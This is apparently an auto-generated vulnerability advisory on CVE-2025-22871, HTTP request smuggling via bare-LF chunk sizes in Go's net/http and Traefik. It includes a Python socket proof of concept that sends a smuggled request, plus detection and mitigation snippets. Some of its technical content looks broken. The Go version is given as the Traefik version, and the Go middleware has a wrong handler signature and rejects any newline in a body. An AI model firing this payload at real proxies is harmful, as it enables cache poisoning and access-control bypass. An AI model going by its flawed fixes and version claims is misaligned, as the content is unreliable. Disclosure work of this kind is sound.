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The CVE-2025-22871 vulnerability in Traefik stems from improper handling of chunked transfer encoding in the Go `net/http` package. When processing HTTP requests, the package incorrectly accepts malformed chunk-size lines terminated by a bare LF (Line Feed) instead of the required CRLF (Carriage Return + Line Feed). Attackers can exploit this by crafting a request with invalid chunked data, which, when forwarded by Traefik (or other Go-based proxies/servers), may lead to HTTP request smuggling. This occurs if the downstream server misinterprets the bare LF as part of a chunk extension, allowing the smuggled request to bypass security controls or poison caches.
DailyCVE Form:
Platform: Traefik
Version: < 1.23.8
Vulnerability: HTTP Request Smuggling
Severity: Critical
Date: 2025-04-18
What Undercode Say:
Exploit Analysis:
- Craft a malicious HTTP request with invalid chunked encoding:
POST / HTTP/1.1 Transfer-Encoding: chunked 5\n Invalid chunk-size (bare LF) smuggled
- Forward via Traefik to a backend server that misparses LF as part of the extension.
Detection Commands:
Check Traefik version: traefik version | grep "1.23" Monitor HTTP logs for malformed chunks: grep -i "transfer-encoding: chunked" /var/log/traefik.log
Mitigation Steps:
1. Upgrade Go to 1.23.8+ or patch Traefik.
2. Reject requests with bare LF in chunk-size:
if strings.Contains(chunkHeader, "\n") { rejectRequest() }
3. Use WAF rules to block malformed chunked encoding:
if ($http_transfer_encoding ~ "chunked.\n") { return 403; }
PoC (Python):
import socket
req = "POST / HTTP/1.1\r\nHost: victim.com\r\nTransfer-Encoding: chunked\r\n\r\n5\nSMUGGLED\r\n0\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("traefik-proxy", 80))
s.send(req.encode())
Protection Code (Go Middleware):
func ChunkValidationMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) {
if te := r.Header.Get("Transfer-Encoding"); te == "chunked" {
body, _ := io.ReadAll(r.Body)
if strings.Contains(string(body), "\n") {
w.WriteHeader(400)
return
}
}
next.ServeHTTP(w, r)
})
}
Analytics:
- Attack Vector: Network (HTTP)
- Complexity: Low (pre-crafted request)
- Impact: Cache poisoning, ACL bypass
- Patch Speed: Critical (vendor update required).
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
